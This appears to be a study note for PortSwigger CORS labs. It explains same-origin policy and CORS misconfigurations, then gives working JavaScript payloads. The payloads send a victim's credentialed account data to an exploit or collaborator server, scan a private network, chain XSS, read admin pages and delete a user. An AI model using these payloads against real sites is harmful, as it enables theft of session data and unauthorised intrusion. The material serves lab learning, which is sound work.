**Check if the website uses CORS:**

Modify the Orgin Header to:

* The same orgin
* Arbitrary value
* The same suffix
* The same prefix
* Null
* http://subdomain.net

**What is the same-origin policy?**

When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user's session, and include any relevant data that is specific to the user. Without the same-origin policy, if we visited a malicious website, it would be able to read our emails from GMail, private messages from Facebook, etc.

SOP limits the ability for a website to interact with resources outside of the source domain. It **generally allows a domain to issue requests to other domains, but not to access the responses**. SOP controls the access that JavaScript code has to content that is loaded cross-domain. Cross-origin loading of page resources is generally permitted: SOP allows embedding of images via the <img> tag, media via the <video> tag and JavaScript includes with the <script> tag. However, while these external resources can be loaded by the page, any JavaScript on the page won't be able to read the contents of these resources.

SOP prevents reading between web application, but not writing.

An origin consists of a URI **scheme**, **domain** and **port number:**

http://normal-website.com/example/example.html

=> scheme http, domain normal-website.com, port number 80

Table

Description automatically generated

**What is CORS (cross-origin resource sharing)?**

- CORS is a relaxation of SOP

- CORS is a browser mechanism which enables controlled access to resources located outside of a source domain

- CORS uses HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted

- Access-Control-Allow-Origin header is included in the response from one website to a request originating from another website, identifies the permitted origin of the request

- Web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match

Suppose a website with origin ***normal-website.com*** causes the following cross-domain request:

GET /data HTTP/1.1

Host: robust-website.com

Origin : https://normal-website.com

The server on ***robust-website.com*** returns the following response:

HTTP/1.1 200 OK

...

Access-Control-Allow-Origin: https://normal-website.com

**Handling cross-origin resource requests with credentials**

The cross-domain server can permit reading of the response when credentials are passed to it by setting the CORS Access-Control-Allow-Credentials header to true.

**Request with cookies:**

GET /data HTTP/1.1

Host: robust-website.com

...

Origin: https://normal-website.com

Cookie: JSESSIONID=<value>

**Response:**

HTTP/1.1 200 OK

...

Access-Control-Allow-Origin: https://normal-website.com

Access-Control-Allow-Credentials: true

Then the browser will permit the requesting website to read the response. Otherwise, the browser will not allow access to the response.

**Relaxation of CORS specifications with wildcards**

Access-Control-Allow-Origin: \*

The following is not permitted because it exposes any authenticated content on the target site to everyone:

Access-Control-Allow-Origin: \*

Access-Control-Allow-Credentials: true

**Pre-flight checks**

When a cross-domain request includes a non-standard HTTP method or headers, the cross-origin request is preceded by a request using the OPTIONS method. The server returns a list of allowed methods in addition to the trusted origin.

For example, this is a pre-flight request that is seeking to use the PUT method together with a custom request header called ***Special-Request-Header***:

OPTIONS /data HTTP/1.1

Host: <some website>

...

Origin: https://normal-website.com

Access-Control-Request-Method: PUT

Access-Control-Request-Headers: Special-Request-Header

The server responses:

HTTP/1.1 204 No Content

...

Access-Control-Allow-Origin: https://normal-website.com

Access-Control-Allow-Methods: PUT, POST, OPTIONS

Access-Control-Allow-Headers: Special-Request-Header

Access-Control-Allow-Credentials: true

### Access-Control-Max-Age: 240

### **Server-generated**[**ACAO**](https://portswigger.net/web-security/cors/access-control-allow-origin)**header from client-specified Origin header**

Server allows access from any other domain (specified in Origin header):

**Request:**

GET /sensitive-victim-data HTTP/1.1

Host: vulnerable-website.com

Origin: https://malicious-website.com

Cookie: sessionid=...

**Response:**

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

...

These headers state that access is allowed from the requesting domain and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

**Retrieve sensitive information** by placing the following script on exploit server:

<script>

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='/log?key='+this.responseText;

};

</script>

### **Errors parsing Origin headers**

When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted.

if suffix matching is implemented: hackersnormal-website.com

if prefix matching is implemented: normal-website.com.evil-user.net

### **Whitelisted null origin value**

Some applications might whitelist the null origin => Use “null” in Origin header

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='/log?key='+this.responseText;

};

</script>"></iframe>

### [**Exploiting XSS**](https://portswigger.net/web-security/cross-site-scripting/exploiting)**via CORS trust relationships**

If a website trusts an origin that is vulnerable to cross-site scripting, then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

**Request:**

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: https://subdomain.vulnerable-website.com

Cookie: sessionid=...

**Response**:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

**Attack:**https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-to-retrieve-sensitive-information</script>

### **Breaking TLS with poorly configured CORS**

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP.

**Request:**

GET /api/requestApiKey HTTP/1.1

Host: vulnerable-website.com

Origin: **http://**trusted-subdomain.vulnerable-website.com

Cookie: sessionid=...

**Response:**

HTTP/1.1 200 OK

Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com

Access-Control-Allow-Credentials: true

**Attack:**

* The victim user makes any plain HTTP request.
* The attacker injects a redirection to: *http://trusted-subdomain.vulnerable-website.com*
* The victim's browser follows the redirect.
* The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to:

*https://vulnerable-website.com*

* The victim's browser makes the CORS request, including the origin: *http://trusted-subdomain.vulnerable-website.com*
* The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response.
* The attacker's spoofed page can read the sensitive data and transmit it to any domain under the attacker's control.

**In the lab environment:**

* Add header Origin: **[http://subdomain](http://subdomain.lab-id.net)**[.lab-id.net](http://subdomain.lab-id.net) => if successful, then vulnerable
* Find a XSS vulnerability in a **http** page to inject CORS request

On exploit server:

<script>

document.location="**http**://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-server.net/log?key='%2bthis.responseText; };</script>&storeId=1"

</script>

### **Intranets and CORS without credentials**

There is one situation where an attacker can't access a website directly: when it's part of an organization's intranet, and located within private IP address space. A cross-origin request within a private network may be as follows:

GET /reader?url=doc1.pdf

Host: intranet.normal-website.com

Origin: <https://normal-website.com>

And the server responds with:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: \*

The server trusts resource requests from any origin without credentials. If users within the private IP address space access the public internet then a CORS-based attack can be performed from the external site that uses the victim's browser as a proxy for accessing intranet resources.

**Scan the local network for an endpoint:**

<script>

var q = [], collaboratorURL = 'http://$collaborator.net';

for(i=1;i<=255;i++) {

q.push(function(url) {

return function(wait) {

fetchUrl(url, wait);

}

}('http://192.168.0.'+i+':**8080**'));

}

for(i=1;i<=20;i++){

if(q.length)q.shift()(i\*100);

}

function fetchUrl(url, wait) {

var controller = new AbortController(), signal = controller.signal;

fetch(url, {signal}).then(r => r.text().then(text => {

location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now();

}))

.catch(e => {

if(q.length) {

q.shift()(wait);

}

});

setTimeout(x => {

controller.abort();

if(q.length) {

q.shift()(wait);

}

}, wait);

}

</script>

In Collaborator: find HTTP request containing the IP and port of the local endpoint

**Probe the username field for an XSS vulnerability:**

<script>

function xss(url, text, vector) {

location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];

}

function fetchUrl(url, collaboratorURL){

fetch(url).then(r => r.text().then(text => {

xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');

}))

}

fetchUrl("http://**$ip:port**", "http://$collaboratorPayload");

</script>

In Collaborator: find HTTP request containing “foundXSS=1” => vulnerable to XSS

**Use XSS to retrieve the source code of the admin page:**

<script>

function xss(url, text, vector) {

location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];

}

function fetchUrl(url, collaboratorURL){

fetch(url).then(r=>r.text().then(text=>

{

xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');

}

))

}

fetchUrl("http://$ip:port", "http://$collaboratorPayload");

</script>

**Delete user carlos:**

<script>

function xss(url, text, vector) {

location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];

}

function fetchUrl(url){

fetch(url).then(r=>r.text().then(text=>

{

xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');

}

))

}

fetchUrl("http://$ip:port");

</script>